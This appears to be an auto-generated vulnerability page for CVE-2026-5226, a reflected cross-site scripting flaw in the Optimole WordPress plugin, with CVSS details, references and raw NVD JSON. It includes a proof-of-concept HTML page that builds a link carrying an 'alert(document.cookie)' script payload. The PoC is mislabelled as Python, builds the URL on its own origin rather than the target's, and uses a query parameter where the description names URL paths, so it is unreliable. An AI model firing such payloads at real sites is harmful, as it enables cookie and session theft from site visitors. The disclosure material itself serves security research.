CVE-2026-5226

Description

The Optimole – Optimize Images in Real Time plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL paths in versions up to, and including, 4.2.3 This is due to insufficient output escaping on user-supplied URL paths in the get_current_url() function, which are inserted into JavaScript code via str_replace() without proper JavaScript context escaping in the replace_content() function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Optimole – Optimize Images in Real Time <= 4.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5226
Description: Inject malicious script into the URL path.
-->

<html>
  <body>
    <h3>CVE-2026-5226 PoC: Reflected XSS in Optimole Plugin</h3>
    <p>Click the link below to trigger the vulnerability:</p>
    <a id="exploit-link" href="#">Click Me</a>

    <script>
      // The vulnerable plugin uses str_replace to insert the current URL into JS context.
      // We inject a payload that breaks out of the string or executes directly.
      
      // Example payload: "><script>alert('CVE-2026-5226')</script>
      var payload = encodeURIComponent('"><script>alert(document.cookie)</script>');
      
      // Construct the malicious URL (assuming the vulnerability is triggered on a standard page)
      var targetUrl = window.location.origin + '/?path=' + payload;
      
      document.getElementById('exploit-link').href = targetUrl;
      console.log('Exploit URL generated:', targetUrl);
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5226
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5226
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5226/
[4] VulDB https://vuldb.com/cve/CVE-2026-5226
[5] https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/admin.php#L1012
[6] https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/manager.php#L459
[7] https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/manager.php#L542
[8] https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/admin.php#L1012
[9] https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/manager.php#L459
[10] https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/manager.php#L542
[11] https://plugins.trac.wordpress.org/changeset/3498040/optimole-wp/trunk/inc/manager.php
[12] https://plugins.trac.wordpress.org/changeset?old_path=%2Foptimole-wp/tags/4.2.3&new_path=%2Foptimole-wp/tags/4.2.4
[13] https://www.wordfence.com/threat-intel/vulnerabilities/id/112cea93-fa4b-4692-8c8b-e74255f61939?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5226", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:03.120", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Optimole – Optimize Images in Real Time plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL paths in versions up to, and including, 4.2.3 This is due to insufficient output escaping on user-supplied URL paths in the get_current_url() function, which are inserted into JavaScript code via str_replace() without proper JavaScript context escaping in the replace_content() function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/admin.php#L1012", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/manager.php#L459", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/manager.php#L542", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/admin.php#L1012", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/manager.php#L459", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/manager.php#L542", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3498040/optimole-wp/trunk/inc/manager.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Foptimole-wp/tags/4.2.3&new_path=%2Foptimole-wp/tags/4.2.4", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/112cea93-fa4b-4692-8c8b-e74255f61939?source=cve", "source": "[email protected]"}]}}